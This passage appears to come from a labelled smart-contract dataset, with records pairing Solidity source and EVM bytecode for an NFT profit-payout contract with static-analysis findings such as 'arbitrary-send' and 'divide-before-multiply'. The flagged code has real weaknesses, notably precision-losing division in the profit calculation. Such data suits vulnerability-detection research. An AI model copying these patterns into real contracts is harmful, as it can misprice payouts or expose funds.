56102f357600080fd5b505af1158015610307573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061032c9190610e1e565b50925050506000811161039b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f4c6f673a5072696365436f6e74726f6c6c65723a21617667206e6573743300006044820152606401610224565b6040805160018082528183019092526000916020808301908036833750505073ffffffffffffffffffffffffffffffffffffffff881660009081526020819052604081205482519293509183919061040357634e487b7160e01b600052603260045260246000fd5b60200260200101818152505060007f000000000000000000000000e544cf993c7d477c7ef8e91d28aca250d135aa0373ffffffffffffffffffffffffffffffffffffffff1663de0777ed6001543461045b91906110c2565b6000858a6040518563ffffffff1660e01b815260040161047d93929190610ed0565b6000604051808303818588803b15801561049657600080fd5b505af11580156104aa573d6000803e3d6000fd5b50505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01682016040526104f19190810190610d28565b905060008160028151811061051657634e487b7160e01b600052603260045260246000fd5b602002602001015111610585576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f4c6f673a5072696365436f6e74726f6c6c65723a21617667206e6573743400006044820152606401610224565b6000686c6b935b8bbd400000826002815181106105b257634e487b7160e01b600052603260045260246000fd5b60200260200101516105da73dac17f958d2ee523a2206206994597c13d831ec7876000610af1565b6105e49190611085565b6105ee9190610f3c565b670de0b6b3a764000096509450610a639350505050565b73ffffffffffffffffffffffffffffffffffffffff85167304abeda201850ac0124161f037efd70c74ddc74c1415610a01576001546040517f4c29802900000000000000000000000000000000000000000000000000000000815273dac17f958d2ee523a2206206994597c13d831ec7600482015273ffffffffffffffffffffffffffffffffffffffff858116602483015260009283927f000000000000000000000000b5d2890c061c321a5b6a4a4254bb1522425baf0a90921691634c2980299190604401610100604051808303818588803b1580156106e557600080fd5b505af11580156106f9573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061071e9190610e53565b509650505050935050506000821180156107385750600081115b61079e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f4c6f673a5072696365436f6e74726f6c6c65723a21617667206e6573743300006044820152606401610224565b6040805160018082528183019092526000916020808301908036833750505073ffffffffffffffffffffffffffffffffffffffff891660009081526020819052604081205482519293509183919061080657634e487b7160e01b600052603260045260246000fd5b60200260200101818152505060007f000000000000000000000000e544cf993c7d477c7ef8e91d28aca250d135aa0373ffffffffffffffffffffffffffffffffffffffff1663de0777ed6001543461085e91906110c2565b6000858b6040518563ffffffff1660e01b815260040161088093929190610ed0565b6000604051808303818588803b15801561089957600080fd5b505af11580156108ad573d6000803e3d6000fd5b50505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01682016040526108f49190810190610d28565b905060008160028151811061091957634e487b7160e01b600052603260045260246000fd5b602002602001015111610988576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f4c6f673a5072696365436f6e74726f6c6c65723a21617667206e6573743400006044820152606401610224565b6000686c6b935b8bbd400000826002815181106109b557634e487b7160e01b600052603260045260246000fd5b60200260200101516109dd73dac17f958d2ee523a2206206994597c13d831ec7886000610af1565b6109e79190611085565b6109f19190610f3c565b939650929450610a639350505050565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4c6f673a5072696365436f6e74726f6c6c65723a6e6f20746f6b656e000000006044820152606401610224565b935093915050565b60025473ffffffffffffffffffffffffffffffffffffffff163314610aec576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f4c6f673a5072696365436f6e74726f6c6c65723a216f776e65720000000000006044820152606401610224565b600155565b600060128073ffffffffffffffffffffffffffffffffffffffff861615610b96578573ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b158015610b5857600080fd5b505afa158015610b6c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b909190610eaf565b60ff1691505b73ffffffffffffffffffffffffffffffffffffffff841615610c36578373ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b158015610bf857600080fd5b505afa158015610c0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c309190610eaf565b60ff1690505b610c4182600a610fbd565b610c4c82600a610fbd565b610c569087611085565b610c609190610f3c565b9695505050505050565b803573ffffffffffffffffffffffffffffffffffffffff81168114610c8e57600080fd5b919050565b600060208284031215610ca4578081fd5b610cad82610c6a565b9392505050565b600080600060608486031215610cc8578182fd5b610cd184610c6a565b9250610cdf60208501610c6a565b9150610ced60408501610c6a565b90509250925092565b600080600060608486031215610d0a578283fd5b610d1384610c6a565b925060208401359150610ced60408501610c6a565b60006020808385031215610d3a578182fd5b825167ffffffffffffffff80821115610d51578384fd5b818501915085601f830112610d64578384fd5b815181811115610d7657610d766110ef565b8060051b6040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0603f83011681018181108582111715610db957610db96110ef565b604052828152858101935084860182860187018a1015610dd7578788fd5b8795505b83861015610df9578051855260019590950194938601938601610ddb565b5098975050505050505050565b600060208284031215610e17578081fd5b5035919050565b60008060008060808587031215610e33578081fd5b505082516020840151604085015160609095015191969095509092509050565b600080600080600080600080610100898b031215610e6f578384fd5b505086516020880151604089015160608a015160808b015160a08c015160c08d015160e0909d0151959e949d50929b919a50985090965094509092509050565b600060208284031215610ec0578081fd5b815160ff81168114610cad578182fd5b60006060820185835260206060818501528186518084526080860191508288019350845b81811015610f1057845183529383019391830191600101610ef4565b505080935050505073ffffffffffffffffffffffffffffffffffffffff83166040830152949350505050565b600082610f5757634e487b7160e01b81526012600452602481fd5b500490565b600181815b80851115610fb557817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04821115610f9b57610f9b6110d9565b80851615610fa857918102915b93841c9390800290610f61565b509250929050565b6000610cad8383600082610fd35750600161107f565b81610fe05750600061107f565b8160018114610ff657600281146110005761101c565b600191505061107f565b60ff841115611011576110116110d9565b50506001821b61107f565b5060208310610133831016604e8410600b841016171561103f575081810a61107f565b6110498383610f5c565b807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0482111561107b5761107b6110d9565b0290505b92915050565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156110bd576110bd6110d9565b500290565b6000828210156110d4576110d46110d9565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfea2646970667358221220a670bf7d3fa28ebe168d79756fa4da0293df2bbf0bb9d258e06ce7c2da2b882464736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,367
0xed0a3848620aec980fea72a312946c24cd35d16d
// SPDX-License-Identifier: MIT pragma solidity 0.8.2; interface IERC20Token { function transferFrom(address _from, address _to, uint256 _value) external returns (bool success); } interface IERC721 { function setPaymentDate(uint256 _asset) external; function getTokenDetails(uint256 index) external view returns (uint128 lastvalue, uint32 aType, uint32 customDetails, uint32 lastTx, uint32 lastPayment); function polkaCitizens() external view returns(uint256 _citizens); function assetsByType(uint256 _assetType) external view returns (uint64 maxAmount, uint64 mintedAmount, uint128 baseValue); function ownerOf(uint256 tokenId) external view returns (address owner); function balanceOf(address _owner) external view returns (uint256); } library Address { function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable { address private owner; event OwnerSet(address indexed oldOwner, address indexed newOwner); modifier onlyOwner() { require(msg.sender == owner, "Caller is not owner"); _; } constructor() { owner = msg.sender; // 'msg.sender' is sender of current call, contract deployer for a constructor emit OwnerSet(address(0), owner); } function changeOwner(address newOwner) public onlyOwner { emit OwnerSet(owner, newOwner); owner = newOwner; } function getOwner() external view returns (address) { return owner; } } contract PolkaProfitContract is Ownable { event Payment(address indexed _from, uint256 _amount, uint8 _network); bool public paused; struct paymentByType { uint256 weeklyPayment; uint256 variantFactor; uint256 basePriceFactor; } struct Claim { address account; uint8 dNetwork; // 1= Ethereum 2= BSC uint256 assetId; uint256 amount; uint256 date; } Claim[] public payments; mapping (address => bool) public blackListed; mapping (uint256 => paymentByType) public paymentAmount; address public nftAddress = 0x57E9a39aE8eC404C08f88740A9e6E306f50c937f; address public tokenAddress = 0xaA8330FB2B4D5D07ABFE7A72262752a8505C6B37; address payable public walletAddress; uint256 public gasFee = 1000000000000000; uint256 wUnit = 1 weeks; constructor() { fillPayments(1, 60000000000000000000, 10, 15000000000000); fillPayments(2, 135000000000000000000, 10, 30000000000000); fillPayments(3, 375000000000000000000, 10, 75000000000000); fillPayments(4, 550000000000000000000, 10, 100000000000000); fillPayments(5, 937500000000000000000, 10, 150000000000000); fillPayments(6, 8250000000000000000000, 10, 750000000000000); fillPayments(7, 6500000000000000000000, 10, 655000000000000); fillPayments(8, 3000000000000000000000, 20, 400000000000000); fillPayments(9, 10800000000000000000000, 50, 900000000000000); fillPayments(10, 5225000000000000000000, 30, 550000000000000); fillPayments(11,13125000000000000000000, 20, 1050000000000000); fillPayments(12, 4500000000000000000000, 10, 500000000000000); fillPayments(13, 1500000000000000000000, 10, 225000000000000); fillPayments(14, 2100000000000000000000, 15, 300000000000000); fillPayments(15, 3750000000000000000000, 10, 450000000000000); walletAddress = payable(0xeA50CE6EBb1a5E4A8F90Bfb35A2fb3c3F0C673ec); } function fillPayments(uint256 _assetId, uint256 _weeklyPayment, uint256 _variantFactor, uint256 _basePriceFactor) private { paymentAmount[_assetId].weeklyPayment = _weeklyPayment; paymentAmount[_assetId].variantFactor = _variantFactor; paymentAmount[_assetId].basePriceFactor = _basePriceFactor; } function profitsPayment(uint256 _assetId) public returns (bool success) { require(paused == false, "Contract is paused"); IERC721 nft = IERC721(nftAddress); address assetOwner = nft.ownerOf(_assetId); require(assetOwner == msg.sender, "Only asset owner can claim profits"); require(blackListed[assetOwner] == false, "This address cannot claim profits"); (uint256 totalPayment, ) = calcProfit(_assetId); require (totalPayment > 0, "You need to wait at least 1 week to claim"); nft.setPaymentDate(_assetId); IERC20Token token = IERC20Token(tokenAddress); require(token.transferFrom(walletAddress, assetOwner, totalPayment), "ERC20 transfer fail"); Claim memory thisclaim = Claim(msg.sender, 1, _assetId, totalPayment, block.timestamp); payments.push(thisclaim); emit Payment(msg.sender, totalPayment, 1); return true; } function profitsPaymentBSC(uint256 _assetId) public payable returns (bool success) { require(paused == false, "Contract is paused"); require(msg.value >= gasFee, "Gas fee too low"); IERC721 nft = IERC721(nftAddress); address assetOwner = nft.ownerOf(_assetId); require(assetOwner == msg.sender, "Only asset owner can claim profits"); require(blackListed[assetOwner] == false, "This address cannot claim profits"); (uint256 totalPayment, ) = calcProfit(_assetId); require (totalPayment > 0, "You need to wait at least 1 week to claim"); nft.setPaymentDate(_assetId); Address.sendValue(walletAddress, msg.value); Claim memory thisclaim = Claim(msg.sender, 2, _assetId, totalPayment, block.timestamp); payments.push(thisclaim); emit Payment(msg.sender, totalPayment, 2); return true; } function calcProfit(uint256 _assetId) public view returns (uint256 _profit, uint256 _lastPayment) { IERC721 nft = IERC721(nftAddress); ( , uint32 assetType,, uint32 lastTransfer, uint32 lastPayment ) = nft.getTokenDetails(_assetId); uint256 cTime = block.timestamp - lastTransfer; uint256 dTime = 0; if (lastTransfer < lastPayment) { dTime = lastPayment - lastTransfer; } if ((cTime) < wUnit) { return (0, lastTransfer); } else { uint256 weekCount; if (dTime == 0) { weekCount = ((cTime)/(wUnit)); } else { weekCount = ((cTime)/(wUnit)) - (dTime)/(wUnit); } if (weekCount < 1) { return (0, lastPayment); } else { uint256 daysCount = weekCount * 7; // uint256 variantCount; if (assetType == 8 || assetType == 15) { variantCount = countTaxis(); } else { variantCount = nft.polkaCitizens(); } uint256 totalPayment; paymentByType memory thisPayment = paymentAmount[uint256(assetType)]; uint256 dailyProfit = ((thisPayment.basePriceFactor*(variantCount*thisPayment.variantFactor))/30)*daysCount; totalPayment = ((weekCount * thisPayment.weeklyPayment) + dailyProfit); return (totalPayment, lastPayment); } } } function calcTotalEarnings(uint256 _assetId) public view returns (uint256 _profit, uint256 _lastPayment) { IERC721 nft = IERC721(nftAddress); ( , uint32 assetType,, uint32 lastTransfer, ) = nft.getTokenDetails(_assetId); uint256 timeFrame = block.timestamp - lastTransfer; if (timeFrame < wUnit) { return (0, lastTransfer); } else { uint256 weekCount = timeFrame/(wUnit); uint256 daysCount = weekCount * 7; uint256 variantCount; if (assetType == 8 || assetType == 15) { variantCount = countTaxis(); } else { variantCount = nft.polkaCitizens(); } uint256 totalPayment; paymentByType memory thisPayment = paymentAmount[uint256(assetType)]; uint256 dailyProfit = ((thisPayment.basePriceFactor*(variantCount*thisPayment.variantFactor))/30)*daysCount; totalPayment = ((weekCount * thisPayment.weeklyPayment) + dailyProfit); return (totalPayment, lastTransfer); } } function countTaxis() private view returns (uint256 taxis) { uint256 taxiCount = 0; uint64 assetMinted; IERC721 nft = IERC721(nftAddress); (, assetMinted,) = nft.assetsByType(1); taxiCount += uint256(assetMinted); (, assetMinted,) = nft.assetsByType(2); taxiCount += uint256(assetMinted); (, assetMinted,) = nft.assetsByType(3); taxiCount += uint256(assetMinted); (, assetMinted,) = nft.assetsByType(4); taxiCount += assetMinted; (, assetMinted,) = nft.assetsByType(5); taxiCount += uint256(assetMinted); return taxiCount; } function pauseContract(bool _paused) public onlyOwner { paused = _paused; } function blackList(address _wallet, bool _blacklist) public onlyOwner { blackListed[_wallet] = _blacklist; } function paymentCount() public view returns (uint256 _paymentCount) { return payments.length; } function paymentDetail(uint256 _paymentIndex) public view returns (address _to, uint8 _network, uint256 assetId, uint256 _amount, uint256 _date) { Claim memory thisPayment = payments[_paymentIndex]; return (thisPayment.account, thisPayment.dNetwork, thisPayment.assetId, thisPayment.amount, thisPayment.date); } function setGasFee(uint256 _gasFee) public onlyOwner { gasFee = _gasFee; } function setWalletAddress(address _wallet) public onlyOwner { walletAddress = payable(_wallet); } }
0x60806040526004361061011f5760003560e01c806387d81789116100a0578063ac1a386a11610064578063ac1a386a146103a7578063bbde5b25146103c7578063bcdd9af7146103f7578063c23268b714610417578063e272b8921461042a5761011f565b806387d8178914610309578063893d20e8146103295780639c8e841d146103475780639d76ea5814610367578063a6f9dae1146103875761011f565b8063643b9340116100e7578063643b93401461023d578063658612e91461025d578063678edca3146102735780636ad5b3ea146102955780636cd10af5146102b55761011f565b80630937e68a146101245780632cf18bb4146101485780634b50b21b1461017d5780635bf8633a146101d45780635c975abb1461020c575b600080fd5b34801561013057600080fd5b506001545b6040519081526020015b60405180910390f35b34801561015457600080fd5b50610168610163366004611888565b61044a565b6040805192835260208301919091520161013f565b34801561018957600080fd5b506101b9610198366004611888565b60036020526000908152604090208054600182015460029092015490919083565b6040805193845260208401929092529082015260600161013f565b3480156101e057600080fd5b506004546101f4906001600160a01b031681565b6040516001600160a01b03909116815260200161013f565b34801561021857600080fd5b5060005461022d90600160a01b900460ff1681565b604051901515815260200161013f565b34801561024957600080fd5b50610168610258366004611888565b6106fe565b34801561026957600080fd5b5061013560075481565b34801561027f57600080fd5b5061029361028e366004611888565b61092c565b005b3480156102a157600080fd5b506006546101f4906001600160a01b031681565b3480156102c157600080fd5b506102d56102d0366004611888565b610964565b604080516001600160a01b03909616865260ff9094166020860152928401919091526060830152608082015260a00161013f565b34801561031557600080fd5b506102d5610324366004611888565b610a02565b34801561033557600080fd5b506000546001600160a01b03166101f4565b34801561035357600080fd5b506102936103623660046117b4565b610a51565b34801561037357600080fd5b506005546101f4906001600160a01b031681565b34801561039357600080fd5b506102936103a2366004611775565b610aa6565b3480156103b357600080fd5b506102936103c2366004611775565b610b2b565b3480156103d357600080fd5b5061022d6103e2366004611775565b60026020526000908152604090205460ff1681565b34801561040357600080fd5b5061022d610412366004611888565b610b77565b61022d610425366004611888565b610f5b565b34801561043657600080fd5b506102936104453660046117ec565b6112c6565b6004805460405163183c06e560e31b815291820183905260009182916001600160a01b031690829081908190849063c1e037289060240160a06040518083038186803b15801561049957600080fd5b505afa1580156104ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104d19190611824565b945094505093505060008263ffffffff16426104ed9190611a4a565b905060008263ffffffff168463ffffffff1610156105185761050f8484611a61565b63ffffffff1690505b600854821015610539575060009650505063ffffffff1692506106f9915050565b6000816105545760085461054d9084611a0b565b905061057b565b6008546105619083611a0b565b60085461056e9085611a0b565b6105789190611a4a565b90505b600181101561059c575060009750505063ffffffff1693506106f992505050565b60006105a9826007611a2b565b905060008763ffffffff16600814806105c857508763ffffffff16600f145b156105dc576105d561130e565b9050610650565b886001600160a01b0316630c4192cf6040518163ffffffff1660e01b815260040160206040518083038186803b15801561061557600080fd5b505afa158015610629573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061064d91906118a0565b90505b63ffffffff881660009081526003602090815260408083208151606081018352815481526001820154938101849052600290910154918101919091529082908590601e9061069e9087611a2b565b84604001516106ad9190611a2b565b6106b79190611a0b565b6106c19190611a2b565b825190915081906106d29088611a2b565b6106dc91906119f3565b9d505063ffffffff9097169a506106f99950505050505050505050565b915091565b6004805460405163183c06e560e31b815291820183905260009182916001600160a01b03169082908190839063c1e037289060240160a06040518083038186803b15801561074b57600080fd5b505afa15801561075f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107839190611824565b5093505092505060008163ffffffff164261079e9190611a4a565b90506008548110156107bf57506000945063ffffffff1692506106f9915050565b6000600854826107cf9190611a0b565b905060006107de826007611a2b565b905060008563ffffffff16600814806107fd57508563ffffffff16600f145b156108115761080a61130e565b9050610885565b866001600160a01b0316630c4192cf6040518163ffffffff1660e01b815260040160206040518083038186803b15801561084a57600080fd5b505afa15801561085e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088291906118a0565b90505b63ffffffff861660009081526003602090815260408083208151606081018352815481526001820154938101849052600290910154918101919091529082908590601e906108d39087611a2b565b84604001516108e29190611a2b565b6108ec9190611a0b565b6108f69190611a2b565b825190915081906109079088611a2b565b61091191906119f3565b9b505063ffffffff90961698506106f9975050505050505050565b6000546001600160a01b0316331461095f5760405162461bcd60e51b8152600401610956906118fa565b60405180910390fd5b600755565b6000806000806000806001878154811061098e57634e487b7160e01b600052603260045260246000fd5b60009182526020918290206040805160a08101825260049390930290910180546001600160a01b038116808552600160a01b90910460ff16948401859052600182015492840183905260028201546060850181905260039092015460809094018490529b939a509098509650945092505050565b60018181548110610a1257600080fd5b600091825260209091206004909102018054600182015460028301546003909301546001600160a01b0383169450600160a01b90920460ff1692909185565b6000546001600160a01b03163314610a7b5760405162461bcd60e51b8152600401610956906118fa565b6001600160a01b03919091166000908152600260205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610ad05760405162461bcd60e51b8152600401610956906118fa565b600080546040516001600160a01b03808516939216917f342827c97908e5e2f71151c08502a66d44b6f758e3ac2f1de95f02eb95f0a73591a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610b555760405162461bcd60e51b8152600401610956906118fa565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b60008054600160a01b900460ff1615610bc75760405162461bcd60e51b815260206004820152601260248201527110dbdb9d1c9858dd081a5cc81c185d5cd95960721b6044820152606401610956565b600480546040516331a9108f60e11b81529182018490526001600160a01b0316906000908290636352211e9060240160206040518083038186803b158015610c0e57600080fd5b505afa158015610c22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c469190611798565b90506001600160a01b0381163314610c705760405162461bcd60e51b815260040161095690611927565b6001600160a01b03811660009081526002602052604090205460ff1615610ca95760405162461bcd60e51b8152600401610956906119b2565b6000610cb48561044a565b50905060008111610cd75760405162461bcd60e51b815260040161095690611969565b60405163a1cfb5ed60e01b8152600481018690526001600160a01b0384169063a1cfb5ed90602401600060405180830381600087803b158015610d1957600080fd5b505af1158015610d2d573d6000803e3d6000fd5b50506005546006546040516323b872dd60e01b81526001600160a01b039182166004820152868216602482015260448101869052911692508291506323b872dd90606401602060405180830381600087803b158015610d8b57600080fd5b505af1158015610d9f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc39190611808565b610e055760405162461bcd60e51b8152602060048201526013602482015272115490cc8c081d1c985b9cd9995c8819985a5b606a1b6044820152606401610956565b6040805160a08101825233808252600160208084018281528486018c8152606086018981524260808801908152855480870187556000879052885160049091027fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf681018054965160ff16600160a01b0260ff60a01b196001600160a01b039094166001600160a01b0319909816979097179290921695909517905591517fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf7840155517fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf8830155517fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf990910155845187815290810191909152919290917f34f914f46f0a40eb0e7b1396063b87a1819f28ed7b5a63829d59f41eba61a1ae910160405180910390a26001955050505050505b919050565b60008054600160a01b900460ff1615610fab5760405162461bcd60e51b815260206004820152601260248201527110dbdb9d1c9858dd081a5cc81c185d5cd95960721b6044820152606401610956565b600754341015610fef5760405162461bcd60e51b815260206004820152600f60248201526e4761732066656520746f6f206c6f7760881b6044820152606401610956565b600480546040516331a9108f60e11b81529182018490526001600160a01b0316906000908290636352211e9060240160206040518083038186803b15801561103657600080fd5b505afa15801561104a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061106e9190611798565b90506001600160a01b03811633146110985760405162461bcd60e51b815260040161095690611927565b6001600160a01b03811660009081526002602052604090205460ff16156110d15760405162461bcd60e51b8152600401610956906119b2565b60006110dc8561044a565b509050600081116110ff5760405162461bcd60e51b815260040161095690611969565b60405163a1cfb5ed60e01b8152600481018690526001600160a01b0384169063a1cfb5ed90602401600060405180830381600087803b15801561114157600080fd5b505af1158015611155573d6000803e3d6000fd5b505060065461117092506001600160a01b031690503461160b565b6040805160a08101825233808252600260208084018281528486018b8152606086018881524260808801908152600180548082018255600091909152885160049091027fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf681018054965160ff16600160a01b0260ff60a01b196001600160a01b039094166001600160a01b0319909816979097179290921695909517905591517fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf7840155517fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf8830155517fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf990910155845186815290810191909152919290917f34f914f46f0a40eb0e7b1396063b87a1819f28ed7b5a63829d59f41eba61a1ae910160405180910390a250600195945050505050565b6000546001600160a01b031633146112f05760405162461bcd60e51b8152600401610956906118fa565b60008054911515600160a01b0260ff60a01b19909216919091179055565b600480546040516305c0ec1b60e21b8152600092839283926001600160a01b03909116918291631703b06c9161134b916001910190815260200190565b60606040518083038186803b15801561136357600080fd5b505afa158015611377573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061139b91906118b8565b5092506113b4905067ffffffffffffffff8316846119f3565b6040516305c0ec1b60e21b8152600260048201529093506001600160a01b03821690631703b06c9060240160606040518083038186803b1580156113f757600080fd5b505afa15801561140b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061142f91906118b8565b509250611448905067ffffffffffffffff8316846119f3565b6040516305c0ec1b60e21b8152600360048201529093506001600160a01b03821690631703b06c9060240160606040518083038186803b15801561148b57600080fd5b505afa15801561149f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114c391906118b8565b5092506114dc905067ffffffffffffffff8316846119f3565b6040516305c0ec1b60e21b81526004808201529093506001600160a01b03821690631703b06c9060240160606040518083038186803b15801561151e57600080fd5b505afa158015611532573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061155691906118b8565b50925061156f905067ffffffffffffffff8316846119f3565b6040516305c0ec1b60e21b8152600560048201529093506001600160a01b03821690631703b06c9060240160606040518083038186803b1580156115b257600080fd5b505afa1580156115c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115ea91906118b8565b509250611603905067ffffffffffffffff8316846119f3565b935050505090565b8047101561165b5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610956565b6000826001600160a01b03168260405160006040518083038185875af1925050503d80600081146116a8576040519150601f19603f3d011682016040523d82523d6000602084013e6116ad565b606091505b50509050806117245760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610956565b505050565b80516fffffffffffffffffffffffffffffffff81168114610f5657600080fd5b805163ffffffff81168114610f5657600080fd5b805167ffffffffffffffff81168114610f5657600080fd5b600060208284031215611786578081fd5b813561179181611a9c565b9392505050565b6000602082840312156117a9578081fd5b815161179181611a9c565b600080604083850312156117c6578081fd5b82356117d181611a9c565b915060208301356117e181611ab4565b809150509250929050565b6000602082840312156117fd578081fd5b813561179181611ab4565b600060208284031215611819578081fd5b815161179181611ab4565b600080600080600060a0868803121561183b578081fd5b61184486611729565b945061185260208701611749565b935061186060408701611749565b925061186e60608701611749565b915061187c60808701611749565b90509295509295909350565b600060208284031215611899578081fd5b5035919050565b6000602082840312156118b1578081fd5b5051919050565b6000806000606084860312156118cc578283fd5b6118d58461175d565b92506118e36020850161175d565b91506118f160408501611729565b90509250925092565b60208082526013908201527221b0b63632b91034b9903737ba1037bbb732b960691b604082015260600190565b60208082526022908201527f4f6e6c79206173736574206f776e65722063616e20636c61696d2070726f6669604082015261747360f01b606082015260800190565b60208082526029908201527f596f75206e65656420746f2077616974206174206c656173742031207765656b60408201526820746f20636c61696d60b81b606082015260800190565b60208082526021908201527f5468697320616464726573732063616e6e6f7420636c61696d2070726f6669746040820152607360f81b606082015260800190565b60008219821115611a0657611a06611a86565b500190565b600082611a2657634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a4557611a45611a86565b500290565b600082821015611a5c57611a5c611a86565b500390565b600063ffffffff83811690831681811015611a7e57611a7e611a86565b039392505050565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114611ab157600080fd5b50565b8015158114611ab157600080fdfea2646970667358221220f5c48aa898ae2e1903ec7a0325c870e1e9383843b8e770a5494e9de58fecb56e64736f6c63430008020033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
7,368
0x2e0d52f3bde91178db523f71c80f9c70a96bead4
